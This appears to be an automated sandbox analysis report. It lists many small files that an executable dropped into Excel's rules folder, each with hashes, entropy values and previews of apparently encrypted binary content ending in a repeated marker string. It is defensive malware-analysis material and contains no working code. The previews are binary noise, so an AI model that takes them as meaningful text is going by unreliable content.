SSDEEP:	12:Q0h23VHgC6QpiYkonFeshsMFZ6VJJ90IXt1kdJk2euNkh4j03K1P01FSUdNcii9a:QpHnBlmshsGZY/0k1UJkxtej0A2bD
MD5:	2EF21C29F9C308B955731AFBE52AE226
SHA1:	33AA1EC29FE480AEF1FEA2A21293EE671DAD5018
SHA-256:	FB83EDC20F43FABF022AD295063D6555691E87B23DF097355D8644DE143ADDD7
SHA-512:	8C5CBD002008CD6E5C749DC586BB990F62C3F7DDD79B7F56A626C4D74A6CD1B9CF53FA32C6FC39F775067CEC7187529054971CD4E0144C4544719469F2C528F4
Malicious:	false
Preview:	<?xml...tP:[......$>......1.I..p_.@......kR0....dN...'l%.<.p.........)...G../.R. .+RS.F.E........s.n.W.t.(..,.........@6,....R...=.../ .h.....Cqb..Yc.7......1Fr...9...>\|.....,.=.p....hC}.hu......i.....e.;.....i.7..........cw.<$LA..\|t2...T.J.]v_......5...(>w\|....%#.....i^a.s_st.C}.....e...ill(.bL....R.A.,.....I.G...0....G...*.!Y<..2.D#ZC\.i.O.. =@..o.)G....l.;.x......T...l........\?..M....+..YOf.X..WU...L...:Z.Z2S..Z..../.....J..tQ_Gs.b....X....Z..;c.E..`./.9.G.. .J.....1av...7A[m..a...iL....Dz...]g].<F.dF.4WE_`>c...o.<....6ul....U...c..daf..K..7...x......{.M.F.....9.........$..3w\:k..f.\.$.sOZ9....%O.v...0.~..N.s5.Bz...\|........U...U`H.y..mrA.?x..Xw.5..D..2pa....G`.~.Tz.\|2B?...-U.]..b%..{.A'lmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.699884189792024
Encrypted:	false
SSDEEP:	12:wnyMisuvzljL+mAkFOgODLpHeSjYdGTJUg+tuag5lC4UVXJQU0AiZCbLvQ2uPtJj:wMsyl2yFFO5+7MSg5v5lPMXJd0ArD96v
MD5:	11E7FF8DF3BF51D20DEE4E00AE676E98
SHA1:	AEF5898BED7E4995C8B665E934061AE69823FBEF
SHA-256:	A7824D9A3DFFB2E6080666482A6B0A852522891EAA2533DD1F4B214A5E082B38
SHA-512:	66A921E074C54A2B9F316AE5EC7EB0748C9AE81C9F29E71D3C3988E9350B4419F70682631128FF7747AD6F56316BAA477BA8065F6F364498CB77CF572C8B935A
Malicious:	false
Preview:	<?xmlM...U.N.../.=.h..Ha>.eL..ma.?.K}.IyC..].....</...K.;.F.c.J~.J...YQ..9..R.P."....e<.1..&.J<.6...TJ...g.lw`{.N....I....:..q.E.P...hF.%.}...;!.Z@B..{.`..NVv.}..k.... ..@.9R..TqF_....P..G.......B..y.p.;...z.H.~K..O.5..^gD.?_r1......;u+.R/.N.Q.Nz......N{.5.o....8}..I.2t)m.^...z..l..v..In..n.....cM..4{...c..`.......G..,T>..qC+.s.T...95.{.DU......M.EH..7......!..M....=..........?\....7.......I.....f..^..^...T.bYC,.^....=(..(..M.)a..T.[..,....TL..p...........b=6......~hi.....#.wxT.%DY.N.kf...,...ro.-......W.............P.3.....3b.._....nnSU.W.......Us..z..F.H.......ZV&.$.]...[.P..\|...K7P...-..]@..c.F.'.x...R........b....+-..4..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.762640377504929
Encrypted:	false
SSDEEP:	12:fC9TU144wenfCwSoJN0AzuDr+3nl0KlMqnvBstGvRXR691ZZfdovR9XCFQ4MRIWW:a9x4HS0OevllllvBxnado/XCuV2bD
MD5:	CA221AC1DC1BC54FC7B79481F1AEAA0B
SHA1:	81BCEF29120765062BAD485E57238DAADFB87AC0
SHA-256:	7AF5AE628E6AE1022C3BDE7B3345FE1C84F6AD3474987AB9E1595038A17A23CA
SHA-512:	6DE78B6D289BFCF523E396A28447F3CAE9B3AF2FC1306160B53B1B91F2F8BAA660470ADA1517A1DC8FB7A168FA3B47BF5267B71D6AF5CFE3D0E33DFA36D3E3FD
Malicious:	false
Preview:	<?xml.0/;..P$)5F..\|..n.>.>.....=.k...W.....O..F!7.`G...}.'F.7./.......-...>.p...?u.x<..:;....L.V!3....O....(v2{]+..f.K},...H}...Z[)..FvTq9iT\D>z...8.!..........3%.^....H...8....NvK.".+u...v.B..nU{.....gu;a4...N..c.].L...;j._....g..77(.l\u.c...Q...8..`.....5..!..?..".}Brh.!4.{...=.j.....wkx..<...._{..H....AWu.8QJ23L.}F...q..x ,.....c..;.................].fk.`{.=.......b...........%n..G)W.].s......~Dm.....Io.<....IRtdA....FD....u....r .).^.s..!.'y.h?i.F#R......{[...#..IBv.pk..../zV*'tH.t./..yg....O.@...^8..$M....S...~3....8b..Kd.).@.>=o....2x".d.._.....v.:lyV+..DCe.?.......V..!.Q.bQ]....Y`..[..4P-U.....Eo....2+}FL.<.:+cJ.EV.K..b...3i>W..R...X..p......(5.....{.-..e.F.K>..z.A 4.2..s.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.713249068987699
Encrypted:	false
SSDEEP:	24:TiQmLLQyAOO1jHPCvzLV9r2Q0aTTI6IJ64D2bD:uQm3QSO1jHPCvfVkQ0avIjJ64wD
MD5:	EB395FE115FEBF7C3AAA0796FC01DCB4
SHA1:	65E4614BEA8FD58612853C63F5B33AC96DBCCEB0
SHA-256:	A33443C65C4EBC3072AA83EDBFF5D075B3D356A22F4317D7F5588ED7CB51B3E2
SHA-512:	A58AADC7593509E7118D849C5E0F688ABF41F6F4A605A29AF1FD2E036DB5FF5320F458A195362863B188F75C0ABD0F331BBD38D4DD1A63485ED782A9227D82A0
Malicious:	false
Preview:	<?xml....UK...5?.6.5wh)Z,.t.m..pmU.m.;...R.lv....I.g.R..`.O.......")r.G...r..b.Ku..L.%....w.....v0}...h..:.0./..R.....\.xa.H(@.z...T..-.....{o.N.....T. .6[..J...?...x[..c....w.D.(.b...fB.X..2.O.....!.UuQr.Z.eaC.)ZXz.I.Z.o.pA.v..Ume.s....z....g,...W^R.O....s...t....B.c...i.O.'..3.T.Q._..e.k..~.;.O&7...Yb.u.T%.P...j.?.P...-.....m.lbxr>f\|..G.b_.f-.s.....g@X....m.K..8.0F.0...8..bYk..X...L..&......}yuY}.0+.`h....a........@.....n.k../p}J......m ..A4..uw$....}....>,h..T(. ...'...R...k..JA...[..........V..M7...tz...[.>(..Ga....c.j.s...b.]...i.!.x'.U2.(!-lF3gr.LM9...C.....{.#.>..,N...}K ..=.zg....../..K.Re6Y...N..].6."........ ..f^..-.t..6.m.q.;.".KJf&..f....u\|..x.m.....!..@.t..c..DmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.7363667548886195
Encrypted:	false
SSDEEP:	24:muFPyIf9FvNZB4ol617AymGeuDT/WOSx2bD:mutyKBNH4ol61cymGL/vD
MD5:	1A04F9DC8BB654C5B3C9BE0198AFDE71
SHA1:	2BB93D73916D8B6502A4252E9435CF7E9B5FEAE8
SHA-256:	FCC4727BBFD5992B415BB5EC6312C254FAA44D5E2D2526A277495AB6FDD2309A
SHA-512:	7A019F29271140EB6978E419DA153210BE025441F7AC18B9C1F1CB1B0532DA7E2C33B041B6BF94E6D0C275DC72419D3D125D57169369AEDEF38C954913FB3582
Malicious:	false
Preview:	<?xmlY....#.g.B.4K......t.. ...+t~..lK.._.+..s...._..2.. "..%.i...[...........g....2(>....g.p...S..e....B..op.]te..E.O<.k..s...q1..X./{...i....3B8[.0\.^zw.+.n......n..~....k..h%/E..J,.z.N.....`_....oU. .?t...e..f+...Ql.F.H....../..$...0..........>.s.../.X..K.^O.vv.k...<Oo.H.....EB...N...BE..A.F..^.P.f..rc..-.....X.W.^..(.......15....k;...gG....o..}..[..g...W.w..7.w ..9v............3..%.}y...".j.......l...n....?:......S.........S3P6O..B.$7..p-o-..5o.~!4.z.T.0<.+&.9.7O.R....ZGa...a.l..H..xl.R4...S........kLg..X.zVm>v.'...........23..I:".9.:...s..te.8BV....td.....C.S.j....l.m.C..........Y]..5.f).n.b&..S.)f.'I)w6x?<.8.0......:VK+....S....../..L>..{l..r..58u..H...........2\.E..g...U=C...j2.%...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.746739567714003
Encrypted:	false
SSDEEP:	12:gF011LDDqKM5SANBE3QAY1mn5+DcWlZZPzJghBUdaqGprFjfCEc9gMwSUdNcii9a:d11bqXMoBExmmn5ccQgBUyrJfCEc9pnw
MD5:	7B44C08E8719CA581912FBFF63D1E0B8
SHA1:	9BB01D32731A50CD14BBAA6CD2DB5B8BDF02BFD8
SHA-256:	E6083EFFB301608D9BEA245E41DA0F3066F07ED9913F94482327351FBBF87F5B
SHA-512:	642263F21DB586C318C1B6C968B6499B1079EB9086BC9005209AF11DDE700FF1498C4D6921FC914DF485A939499F048B8FDDD9C6241E567AA4921DCFF1DD7EF6
Malicious:	false
Preview:	<?xml..Pe..h.g./....j.k..\..f./.`..oR...........rjT.7g."..C..X...h>.7.........K...!.B.-.@.+H...-...q$.Am...y...?.J.W4qV...S2....!'..\|......h."......3)....b.9.!.3((..>*M...U..w.L'.3.3..........L?.W..L....L2..[I...-(DO......_=eu...7ux!..z ..K...6..j...^a5...7...W.+..#.A&b.....+VY....sX~.@.{[...\3[..a .i........d[......XL_^j.Xo.T.h%..Q......v# w.\..%...!..H4.&......k..!%^.r.;.......z.....B...Q.1L.k..........$Jvt;.#....Pm.f.B9.-...u.Yv...............v.G..2..)q...<.......F...l.V..~N/P2..=..W...S.i^.4.#..#K..KSE......1....^.....Y.~(P/..%...u..d.zW;u............C.{.1Q.'.x.;`....;.(..#0.c}..6gq7.R..5.=}.P..._.E.%.I.w..v...!qD.q......u.E.$?..."vh.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.725000722732749
Encrypted:	false
SSDEEP:	24:RvEQ5Ldk3cBWsyh7+D6uczTsBH+t1Di2bD:PLG3cjyhyD6Pz+HutD
MD5:	10DD1D12D61C21F359C050B1E3F2A93F
SHA1:	F181A71B80B033DCDD4185A77C29CCA01684FDED
SHA-256:	A223EF51801A36FC3D9401648EFAD70B057CAB892ADC6E63CEB7D61A4F57B254
SHA-512:	B17901564A40C2A2CEBE0265663B17CEA0F7B8558009160D795DED282D6698CEEC5DA6F0EECD85D1C1DE580E5B44CFD1868F4B07A34E85659090D895C41E2039
Malicious:	false
Preview:	<?xml+.Vt........A.y..MV>...p.;..x......~.>%H."MJ..3 .....X.vf..Q...q...7...,...H.fM.u.9P..:......mojO.......,.S\|\|..F.H[!M...+.5.....u.n.$m.).t......Gg.. Z..F..h"...o{}.......~.RO1d.o.n.iyy..}3.d.......<...Y...xe.'2.P$\L......J.........._...<0W.@[yo...c....Ef..6._y.8V6ys..&......rX..gV.X....ir.P...s`C..25:...Myx....J.Vh7...'m_}=..v.[...7.M..<9......=.&i.@...Sr'.. ...k.+.......jk3..L....>'.+.`........y 4...LW.u...C.G.0...2%CX.S...b.m.#.v5f..L..pD..F..}tb[..k.La...B....n.r.&.....~4...~...,..V.....;7.K.@<'....d7m.s........O...Yr.'w.>.l#k)i...A.'..S$.}.8.^6...Fs..g=..1....@.Yb1$E6(..l..`.O.)..k.M...2....'..)am.....M..@U$.mKy...!^v....`M.:q%..N.C..k........9b.......C..../...L....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.727725780827356
Encrypted:	false
SSDEEP:	12:gCDt+UXAXIwMPTkQVuN3CrXts/F2TYLYQo9s42u+zGK2W8fJaGpJ22q/qaeOQedD:gCDt+UHFY3M2F2Ush9shu+z/X8f4GpJS
MD5:	B08BF6C4976CB9D6471464D429A4D941
SHA1:	FF8892A2136B44556B6D1D857664B93B40D8445E
SHA-256:	6B9084EEFC3428DBC11758923AD6A800E07F9174104EEFDF0BEC476F2B43E9E9
SHA-512:	4335DFE96A1C65B46948E48D4B4334E906A3E6D275D3EBAB86B927F2C8E851EF16F7068414B94C7894A3D03FFC22F640D84BC5F48C39FCCB38C583D64FFBD975
Malicious:	false
Preview:	<?xml]....1..-.$...:C].g.../?T../k.J.>U...(.>.k5c.]2M.........03.Z.2.).....7>.jt....%y.U...!f..aN'..>..E.~.h...cAil....m..8~<..s.k..1U.}\..&o3....ts.-,....16i..f.C.s.."......o...,"....._.v..l..(A.QM..Kr.6.=.+b.{@...7....i...........7..p5?`A.$..D.\.E..w.4..... .x..8.D.3.LO.T......^.g.;...3Lb.qRhu...W....8m(.K7"b.\|-2.`..`.WP..(..O..+.D....Y..su.y...x..S.y...b.P5<..>.<.V..........\|...b.`..a..[......:..X.t.6=.Q...H..m.....Z......=G.#.N...................5sp.L.r.<s.P...+-...QQ.N.H.`..a"..^S.[/. ..\;T..i.....^.:...R.&MQ(.q..8.#...u.3QL....I...G.(.......M`I]N. .....y.f..S....=W...,O..L..........*_Vo>...".-..YT9..#s)Z- .....D"\|.Rd9.8:{..j....}=EEmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.728144999305908
Encrypted:	false
SSDEEP:	12:IVXnPQ3J5gNIaI93JzzlFQhm+Zc8kJMMDIxf2IZKKakJ1gMImXWV7P/o1z2Sj0nE:IVX7FWxQc+GvTKJ1RWhw1z4rSON2bD
MD5:	62682610D9DDFFFB06100CD73879EC28
SHA1:	29B992C8127A10EAF7E0C304C1E10A57E52C5E4A
SHA-256:	340BB471642BD45B191F3BF351CBEE564647B2A2B4C741254C10B843BD9FF5D3
SHA-512:	C8A0C403585C415D168236F93CFCC99F9B9EFED891A1523C47A3D91D6326A209871BD508306418E44598FB242573E2B5D35D9A8DAAC5441605D0F105B4ADDDCA
Malicious:	false
Preview:	<?xml..-......j..e$"....1.a....H..U.`.CQ.-....}."..~-q`"..L(."uA_U.U...9...h....G....7.%E...9...M..>....Pk].i.e.i\|..!..Q92..m...P`'.3.p.w.~.+..+H9K.Xu.&.....G.a)W\...K...(u.'h...[....&(.....`.3.[.:B...~Q...9...E.'.........S...:...T.3.+!......^...).:.qI..6'..w..^....m....l.C7..e....\|..S4...B.`..3...Yj7......2.p... ...........0x.\|..}...x..0E.l.Q.o.#...p..g.5I..1.wM....6....,-...'.q.,...../.t$..WJ..A.._.I.../y....c.E..h.......C.....v..,..m..djvb..kv7.R....`URk.....p.......d..#.pap0...n....@.m..,.d...(`r..qK.;.(N<...@.T.../Xo*&C.6#..u....'I.W.m......e..$.5..eb.[...]...ez<S.n.d../..{...B...p...e....1...8P.EZ..h...........:r...!.k.V....c:.2.:.T.....y@z......[..JL...0^J..#..A.....;..8.:.(...Z;....0R .....D&D]...RY2..C.N...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.626740100150341
Encrypted:	false
SSDEEP:	12:KDuohhSmf/sbsjdGssa/kXESJ42RKVoh0AOt0W+skXymGRE0RvsSUdNcii9a:chhS6/dd5J/kXESJBM+didEovz2bD
MD5:	00F6C2B3942DE9DFB94998A0B52B44EA
SHA1:	40F747C50C0A48697DC80D51AA036294EFB86DB9
SHA-256:	D8279D41D11AC35B3D22A70A0E0CA177969A4CF5CB6E592BEDFFBFB2849F0AEA
SHA-512:	E1BE006301ABCA2C9A96E1E8C1A887BAD98198E5937FCE6837DDEFC3569A9280C0047BC040C293EA49EBA0528062217FDE62A408B2BBFCE7B4AE80CDCA6B4F95
Malicious:	false
Preview:	<?xml...%*C.]......W...@.?..{.w`R.E..H.BjJ...U..D]q..]".........eI...'..H.t $:...]..].vT$.?...`.B.....=..pT.I.M...t..4D... .=....G.f....q.LU..Z...`..v...L......B..t...."..h.....P..s..!..w..L..#......9.N8.vh..e..+.#jc..e......@.^`D.A3.s..........j....>..Z..1./..5...z.Y...(..4..!.6(........x....p.e!..4.D.C..Y..#s^.8..0".#..T.B...fN..g.#z..l..V;U..t!B.*d.i.?...OMMSR.. .Zz..P.9....?....6...FVS......PtE&G..Ra..b.+.1.P..-.WJ.l\|.0...0.~z...G.#..e...d(.l.{..+..t0l.........n.p..,E. ...;...#.@...\J.T.A...4.r..Mi@.r..bI.xu.\|B.......uVn.{.t...Kj..?..j?..TPe.Zf..D...X.;.......q.....6q.<...M...Dt.}...MFc....86..w..&....].R.{fmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.76021145557448
Encrypted:	false
SSDEEP:	24:QAWZ7gbqKpUw3Yf8CNb1DzXFkoBQwPKfyk91Er1rxStj02bD:+ZcbPVGBXXfBlKfyc1EAD
MD5:	C7C9D344C3D0CEC58979549C48C57EB7
SHA1:	34F6A203A9DCB0EE3727264BE9134DCF25CFCC04
SHA-256:	41FCF74329F0D1DE7561197EE1E79377EFA737F0D004FDAE82FAD15206604341
SHA-512:	C132A9CFEA7F1940A5BE4C16A39A3BC91BB7E98AB4725FF938211EC743F1911E802133366BE1678A1674A46973134D78ECBF64B8F52B19F02EE3826F9A158CB7
Malicious:	false
Preview:	<?xml..]II.7KXlu.6...sp..&.B.....G.K.j..t..<..A....tZ.O.{^g..:.E}\.Wqr..P.......Q.&~-.....9.Xa[Ko..@.i.D.A.t.E....bG..+.zdm..MQ.O..HL.L..we......J...h.4p..b.V.r....x"8... ...z3.wv^..m..S/..8....d... ........}\|N.c!...]...N.B....?.......h..b..'...'\B.Y.....!E..W.....k.BL..?.l.5AZO.LI.VP..`.&....n.\.71..*.....>..FG2...[G...Ss.E.By...4-j"..B.......]......g....OG.z.-\|~..D/x..[..}..W^................e.)....\.....UA.&HX...N......).....v7.q.'.......U.,...Mh..n7..6.r..]..{.A..k.$4....w(@h...Tu/r.<.`.wZ..W!+VY.:m.+.....:....n..2.p.....1..)k.., H(.H..J....uq:.0...1....r.C.....(W..f)...w.].n#..Y./=.e$..Q...9.-..:.V..Psd6n..........c.E.[V...8^k..j.zI..tg.....h.-.F...[.j.WRN....}T.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7250034843065745
Encrypted:	false
SSDEEP:	12:8ZjtN3XWTsdv1Nm1qFKEw/XWYRJ+aFMjAN7t3dH0I/upELQB5VWSUdNcii9a:8Zb3GMv1N0qFKJnJ+tA3Bxmq0BzV2bD
MD5:	822CEF667F59DE95396EC18050CF0AD9
SHA1:	AC542B4B84E85D1778104FBB86E7BD91CCD9DE45
SHA-256:	1E01D0713620009AE7AD4C523B5B72FAF2704AD476B9F360A5B6206DC15F6662
SHA-512:	733DB663043D18ADDA3DAEC7E9E1870F638C2A2A1F5B1ABC4C82A59E0776DDA6E2AD242F8672376718EE06E7C2FB558E042662F543AAFAE7B237B95C5D107B99
Malicious:	false
Preview:	<?xml..L..m.K\.?..D.P.......I.vk).=.z#.o.F...r.2.1.......(..."6C..0......ld){_..,....y..9.ai... i....Us..#..]6...I.y/.......v...7....,4...pE.&.%f.2s$..&.\|.>.$~+y.x[..k.W...M.M.d.lc..I".I.......@._.....C....u.%...u.....^.t..).L..x.+.(M.L...w.H.s..4.?...[.8^..8s.t..C!...1.b.S.VP.f.l..@=...........#...IH....I0....kVxu\|..#.....J.`);...n....\.r..i..>.N\|..<G.x....\Z.&..E..[...8_U..........N.<..D-.....(.Z....iELA.G..{J+....}.x.....yf...y`.......:..,[C..M....5...I....R.a...... \|*g2.v.....<....:.HYSZ...4..,.8.........A.....2...m.h..K`.-E.GX...n...,a.l..K.....,...~..(t......,i.k.....V.#...c.h.cFLB..6.V~.-..n.J".r.I9. ..AJ^.e7..$.N).yV...7Qq.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.74064683099567
Encrypted:	false
SSDEEP:	24:VI6g2oliisf9t2hyyu//N+PAoaN7L3Jrw42bD:VI61pF4Q9nN+raRL36D
MD5:	264A2D6A886763561500CA3D085DA103
SHA1:	95450CCF89947E6403B1742BBA0963B2D4B6A6C6
SHA-256:	9C328CEC188A5C047601E33835FD8BC3E2256A5E65C2A2C737A89F0F08F2A8CA
SHA-512:	C2EA0EC983B1B78D60FDA5966D0C8D732464751E9602FF2E2303842D19FA16994DCF02B7DE4E7D241299C613322CC1F6DED72FF7E82186FCEDAFD1459A9D1659
Malicious:	false
Preview:	<?xml.x.N........~..2Pg.....{?..00._.....(.K.F:.K.5...........gq..>\|{.\..h.. .u.8?.......5.R.w.>.xx\$.zvs.SQx..g.Z4.5B..6........%):6...N..y....J...h.N..K...%fc.'..U..g.V..S;a>.t[DS..o.3:Ty_.8#9..bK-..... h...g..h2..,".5C.!<.L..C..U...Dv.`J.7..^Q7.F...h...-.\|....{..sXe.S.#...e..I........gX}./m}...v.Z;;Zdt.G..@..fn...vh, ....z...].........P.....O.Y.}.^cz.8./5Qr ...A$.h..6}....z......R.\.M.l.-4..<...O..l.?..>._.)...."..4.....@!...+..oN.0..p..A......h......M..N.._.yoDI.TD.._fx..vw...#...3.nA.u.....s.2...L......h.?.....J..-.X...Q...3p...........%......k...F..=....<u..\|N..^..EG......l....~.....K...Q....'...s?r..nzC...\|..Jt.S.\.?Q...Q"pL.N@+....1\..7.:.....V.......#9.TN...$..."..(.w.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6664421209510545
Encrypted:	false
SSDEEP:	12:ZE4UmhhqTy/Q9WlwRBIoSHYOcOZJATzud32PblWqb+EhyKtCi4vNTTYD983oWSUn:Z3UlTYQ9WyooS4OJA/C2PQ6+EIKtCi4v
MD5:	78CBDAF3D05152689539B96D3E196A62
SHA1:	F33F003513F6FA166A3C5594FE67C58D80E3AD84
SHA-256:	C8D102EAA441443BE60382542761EB2AF616D1766A6228B0BE7CE01ADF847919
SHA-512:	1496B9AB75D0CC654272F62C36BE6CDF7D6019717FE72A8C32BB937DE349466EF66236D3D87ABEC857E53F4B562CB5A351E88743ABE9C36EFA59C1EFFA314801
Malicious:	false
Preview:	<?xml..%..4._%1w.I..5.>2..g..n..B...=1.J.[DR.U...?..k;e..S.u...3... j..~..J8...>.....j.....f......,).`.VG...p......?v...dt~...5r....@.Y..=19. mI.V...G.mV..@.^..h...6.V<........:v?8...;&.. kP..G..+n@...y....>#..........._.fj...c...........Ya.v..4.9....... ...@.hE..#..we.p.&.:.wE...7.Cf7/.Z%b.8...l.g...7...f..m..B.j....Ed.{G."...\.}....0..W.e...ym4..+.:.......o..$.if?......r!W...k.4.!...Fn3.m=.U...T..)..2..^........!EN"...Qn:.%>..J.^.8..D..v..y.x...f5!..<.v....l.. .n]+.}...l.}.._-.....50.Y.0.G......U..2...l...y..$..l..D.!..zW.....D..\.....7....F;.....of4.J.....Y..f\|l....z?:u..]ci...9A.l./s.....:y.....k..(..y...*,.\|..pR.c....G.~`....H....<.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.756349317839764
Encrypted:	false
SSDEEP:	12:RO4maUDhUf1cWOBsaOrCyc59vFxowzzy3DPX2U7Km2yjt/Y+UKbsWIdE4dalrSUn:RO/xWys1TW9xtzQbTKydrrbsWI2rG2bD
MD5:	CB896052E9B6A07EFD5F5C8B3FF7BF58
SHA1:	AA19086EC744F7F1F057486DB1178D355B4558BC
SHA-256:	A6CF65A3A0B22F36003EE569058832D3926EC7FE302987B5A2979F2AB4BF1839
SHA-512:	0DFA2521310B29C587E4B163E619C21F4B5B03392556C6D0E46F96E40DDB4A6DCC1C00A5774712E2F8B1C2649FBF4E851A1CF85FA1C050915E4772FB66C27C89
Malicious:	false
Preview:	<?xml....x( 7...Im.o..[.85.7...Z......."....1.....&.2^6i....aR......B(..K.....eWzG.Q.b.R,...OvF.v......B.W.{c...9t.:...#u........z..$.F..o...y+i.4..mb..3.....5.g.j4H....(H..Q..{..=So../.....-O....z8VwHe`.:..'....AiR,r...H&[;H...:..G>5L..........G.k.U.y.H..?..L:'.....{.J..w.?....4..x..G.rb.]..M@x......T.....t..30.b.0iN.0...jff.CYP1.m.N........c.R....Y.....3mcV.n..-[....0.T.7.uG......P&)+.z...i...(.k.w.#1...Bs*#...L..6X.n.....2W...5.B....(V.y..~.]j3.'@.....c..yTEg..1]..d...I..b......I.i.h......bO.....\.!.....VP....(....y..i...YP..A=..N.......Z..(N..........}f.....x5u..%B...g).Z..0,L.4....=.=_s........(.......W....?....?...-.......JK.>....../....K..q..`. ....S$.N.Gp.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.765135259329208
Encrypted:	false
SSDEEP:	12:co+S7N05oKqsG7YR5IB61bahG855tJbVosrwFcPkSBaiTyC5D3xOKjjFsGmivU7P:i6N05a176IY1bPgtpVxUFvirt3Ps3igr
MD5:	8EF5CE84137A98D27EAB84425E4634D9
SHA1:	10BC85DEA076F375000224E4BAC0AB3419AE990B
SHA-256:	988957F69A91F1ABBA1DF4C00E561E200939F282E0DA679D22609F5B2A9F95FC
SHA-512:	BCECB2BA874253BAA670C9A4827A7D043DC708D2B80EF88B7E8AC0BFF70D2DA71C6B691C1E9180984DDA9DDC4E1CF28F5AF1FAC90431D088474E8D2897FF6339
Malicious:	false
